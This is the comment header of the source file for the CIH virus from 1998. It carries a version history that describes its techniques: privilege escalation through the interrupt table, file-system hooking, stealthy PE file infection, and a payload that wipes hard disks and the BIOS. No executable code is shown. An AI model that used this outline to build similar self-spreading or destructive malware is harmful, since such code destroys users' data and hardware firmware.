; * The Virus Program Information * 
; **************************************************************************** 
; * Designer : CIH Original Place : TTIT of Taiwan * 
; * Create Date : 04/26/1998 Now Version : 1.2 * 
; * Modification Time : 05/21/1998 * 
; *==========================================================================* 
; * Modification History * 
; *==========================================================================* 
; * v1.0 1. Create the Virus Program. * 
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. * 
; * 04/26/1998 3. Virus Code doesn't Reload into System. * 
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. * 
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. * 
; * 6. When System Opens Existing PE File, the File will be * 
; * Infected, and the File doesn't be Reinfected. * 
; * 7. It is also Infected, even the File is Read-Only. * 
; * 8. When the File is Infected, the Modification Date and Time * 
; * of the File also don't be Changed. * 
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call * 
; * Previous FileSystemApiHook, it will Call the Function * 
; * that the IFS Manager Would Normally Call to Implement * 
; * this Particular I/O Request. * 
; * 10. The Virus Size is only 656 Bytes. * 
; *==========================================================================* 
; * v1.1 1. Especially, the File that be Infected will not Increase * 
; * it's Size... ^__^ * 
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. * 
; * When Exception Error Occurs, Our OS System should be in * 
; * Windows NT. So My Cute Virus will not Continue to Run, * 
; * it will Jmup to Original Application to Run. * 
; * 3. Use Better Algorithm, Reduce Virus Code Size. * 
; * 4. The Virus "Basic" Size is only 796 Bytes. * 
; *==========================================================================* 
; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... * 
; * 2. Modify the Bug of v1.1 * 
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. *
